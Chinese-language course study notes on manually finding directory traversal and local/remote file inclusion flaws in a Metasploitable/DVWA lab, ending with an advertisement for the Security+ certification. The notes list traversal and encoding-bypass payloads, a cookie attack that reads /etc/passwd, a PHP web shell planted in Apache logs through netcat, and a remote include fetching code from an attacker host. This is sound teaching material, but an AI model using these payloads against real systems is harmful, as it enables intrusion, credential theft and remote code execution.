1. 程式人生 > >【安全牛學習筆記】手動漏洞挖掘(三)

【安全牛學習筆記】手動漏洞挖掘(三)

信息安全 security+ 漏洞挖掘

手動漏洞挖掘

Directory travarsal / File include(有區別/沒區別)

目錄權限限制不嚴 / 文件包含

/etc/php5/cgi/php.ini

allow_url_include = on

應用程序功能操作文件,限制不嚴時導致訪問WEB目錄以外的文件

讀、寫文件、遠程執行代碼

特征但不絕對

?page=a.php

?home=b.html

?file=content

msfadmin@metasploitbale:~$ ifconfig

msfadmin@metasploitbale:~$ sudo vi /etc/php5/cgi/php.ini

allow_url_include = ON

msfadmin@metasploitbale:~$ sudo /etc/init.d/apache2 restart

手動漏洞挖掘

經典測試方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

編碼繞過字符過濾

"." "%00" #繞過文件擴展名過濾

file=a.doc%00.php

使用多種編碼嘗試

root@kali:~# pwd

root@kali:~# cd . //當前目錄

root@kali:~# cd ../../ //根目錄

root@kali:~# cd ../../../../ //跳到根目錄

手動漏洞挖掘

不同操作系統的路徑特征字符

類unix系統

根目錄: /

目錄層級分隔符: /

Windows系統

C:\

\ 或 /

手動漏洞挖掘

url編碼、雙層url編碼

%2e%2e%2f 解碼: ../

%2e%2e%5c 解碼: ..\

%252e%252e%255c 解碼: ..\

Unicode/UTF-8編碼

..%c0%af 解碼: ../

..%u2216

..%c1%9c 解碼: ..\

手動漏洞挖掘

其他系統路徑可能使用到的字符

file.txt....

file.txt<spaces>

file.txt""""

file.txt<<<>>><

./././file.txt

nonexistant/../file.txt

UNC路徑

\\1.1.1.1\path\to\file.txt

root@kali:~# cd a

root@kali:~# cd a/../a.txt

手工漏洞挖掘

代碼 <?php

$template = 'blue.php'

if ( is_set( $_COOKIE['TEMPLATE'] ) )

$template = $_COOKIE['TEMPLATE'];

include ( "/home/users/phpguru/templates/" . $template );

?>

攻擊 GET /vulnerable.php HTTP/1.0\

Cookie: TEMPLATE=../../../../../../../../../etc/passwd

結果 HTTP/1.0 200 OK

Content-Type: text/html

Server:Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh

daemon:*:1:1::/tmp:

phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

手動漏洞挖掘

本地文件包含lfi

查看文件

代碼執行

<?php echo shell_exec($_GET['cmd']);?>

Apache access.log

遠程文件包含rfi

出現概率少於lfi,但更容易被利用

msfadmin@metasploitbale:~$ cd /var/log/apache2/

msfadmin@metasploitbale:~/var/log/apache2$ cat access.log

root@kali:~# nc 192.168.1.118 80

<?php echo shell_exec($_GET['cmd']);?>

HTTP/1.1 400 Bad Request

Date: Mon, 18 jan 2016 12:19:29 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

Content-Length: 323

Contetion: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML_ PUBLIC "-//IEIF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />

</p>

<hr>

<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>

</body></html>

msfadmin@metasploitbale:~/var/log/apache2$ ls -l access.log

msfadmin@metasploitbale:~/var/log/apache2$ cd ..

msfadmin@metasploitbale:~/var/log$ sudo chmod a+xr apache2/

msfadmin@metasploitbale:~/var/log$ ls -ld apache2/

msfadmin@metasploitbale:~/var/log$ cd ..

msfadmin@metasploitbale:~/var$ ls -ld log

msfadmin@metasploitbale:~/var$ cd ..

msfadmin@metasploitbale:~$ ls -ld var/

msfadmin@metasploitbale:~$ cd /var/log/apache2/

msfadmin@metasploitbale:~/var/log/apache2$ cat access.log

192.168.1.168/dvwa/vulnerablities/fi/?page=http://192.168.1.119/a.php

root@kali:~# nc -nclp 80

listening on [any] 80 ...

connect to [192.168.1.119 from (UNKNOWN) [192.168.1.118] 52612

GET /a.php HTTP/1.0

Host: 192.168.1.119

--------------------------------------------------------------------

<?php

$file = $_GET['page']; //The page we wish to display

?>

----------------------------------------------------------------------

?php

$file = $_GET['page']; //The page we wish to display

// Only allow include.php

if ( $file != "include.php" ) {

echo "ERROR: File not found!";

exit;

}

?>

?>

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂


Security+認證為什麽是互聯網+時代最火爆的認證?

牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。

【安全牛學習筆記】手動漏洞挖掘(三)